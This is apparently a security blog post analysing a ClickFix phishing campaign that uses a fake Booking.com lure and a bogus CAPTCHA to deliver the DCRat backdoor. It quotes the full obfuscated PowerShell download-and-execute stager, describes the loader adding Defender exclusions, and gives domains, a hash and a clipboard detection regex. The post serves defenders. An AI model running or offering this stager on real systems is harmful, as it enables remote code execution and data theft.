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Booking.com? more like Booking.exe: inside a ClickFix email that drops malware

How attackers use clipboard PowerShell stagers and brand-spoofed links to bypass macros and drop a .NET RAT.

ClickFix keeps evolving, and the latest variant comes with a nasty prize: DCRat downloaded straight from a fake Booking.com help link. Sublime Security’s researchers caught the full chain, from the inbox lure to the final C2 beacons, and their write-up gives us a perfect lab sample to dissect. (sublime.security)

stage 0: the email that sells the lie

  • Fake thread for legitimacy – The attack kicks off with a doctored conversation about an apartment rental. A “colleague” allegedly fell ill mid-booking, so the sender (our attacker) needs the target to double-check an accommodation surcharge.

  • Brand misuse and look-alike domain – The message references Booking.com, but the hyperlink hides behind extrannet-ruless[.]com, a fresh domain that looks close enough to Booking’s Extranet portal to fool a quick glance.

  • Cloudflare warm-up – Clicking the link shows a legitimate Cloudflare Turnstile CAPTCHA first. That lowers suspicion and lets Cloudflare flag the page as “safe.” Right after you pass the real puzzle, a JavaScript-driven fake CAPTCHA loads in its place.

stage 1: clickfix does the clipboard hustle

When the user clicks “I’m not a robot” on the bogus CAPTCHA, JavaScript silently copies an obfuscated PowerShell command to the clipboard:

powERsheLl /nOPR'o' -W h -c "$url='getsyv[.]com';$sCrIpT=Invoke-RestMethod -Uri $url;Invoke-Expression $sCrIpT"

The page then shows two “verification steps”:

  1. Press Win + R

  2. Press Ctrl + V and hit Enter

Anyone following directions pastes the payload into the Run dialog, launching PowerShell with no further phishing or macro friction.

stage 2: loader script with a side of UAC

  • PowerShell reaches getsyv[.]com for a loader that continuously loops until it can run with admin rights.

  • The script adds Windows Defender exclusions for C:\Windows\Temp, ensuring future payloads stay off AV radar.

  • Next it pulls ckjg.exe from gettsveriff[.]com, saves it as tybd7.exe in Temp, and executes it.

A user-visible UAC prompt does appear, but the preceding “verification” narrative combined with fake Booking branding nudges many recipients to click Yes.

stage 3: dcrat — old RAT, new wrapper

ckjg.exe is DCRat (DarkCrystal), a .NET backdoor dating to 2019 that’s still popular thanks to its cheap one-time license and thriving plugin market. Out-of-the-box it offers:

  • command-execution and keylogging

  • cookie, password and clipboard theft

  • filesystem exfiltration and screenshot capture

The sample’s configuration points to five *.click C2 domains, each registered within days of the campaign. SHA-256 for the binary:

08037de4a729634fa818ddf03ddd27c28c89f42158af5ede71cf0ae2d78fa198

why clickfix keeps working

  1. No macro barriers – Modern Office blocks VBA by default; ClickFix sidesteps email attachment scanning entirely by leaning on the user’s clipboard.

  2. Legit brand flow – Real CAPTCHA → fake CAPTCHA → Run prompt creates a believable, fast rhythm.

  3. Defender blind spot – Local AV exclusions are added before the malware lands, guaranteeing a clean runway.

detection & defense tips

Layer

Checks that stop this attack

Email gateway

Flag newly registered domains (<10 days old), fake threads, Booking.com brand mentions with mismatching URLs.

Endpoint

Alert when clipboard content matches suspicious regex like powershell.*Invoke-RestMethod; block Defender exclusion commands from non-admin contexts.

Network

Sinkhole getsyv[.]com, gettsveriff[.]com, and the *.click C2s; monitor for PowerShell user agents in outbound HTTP.

User training

“Win + R, Ctrl + V” should raise alarms. Teach staff that real CAPTCHAs never ask them to paste commands into the Run box.

ClickFix is a master class in turning human impatience into code execution. This variant shows how little infrastructure an attacker needs: two throwaway domains, a PowerShell stager, and an off-the-shelf RAT. Control the clipboard, watch for odd Run-dialog launches, and keep users skeptical of any CAPTCHA that wants keyboard shortcuts.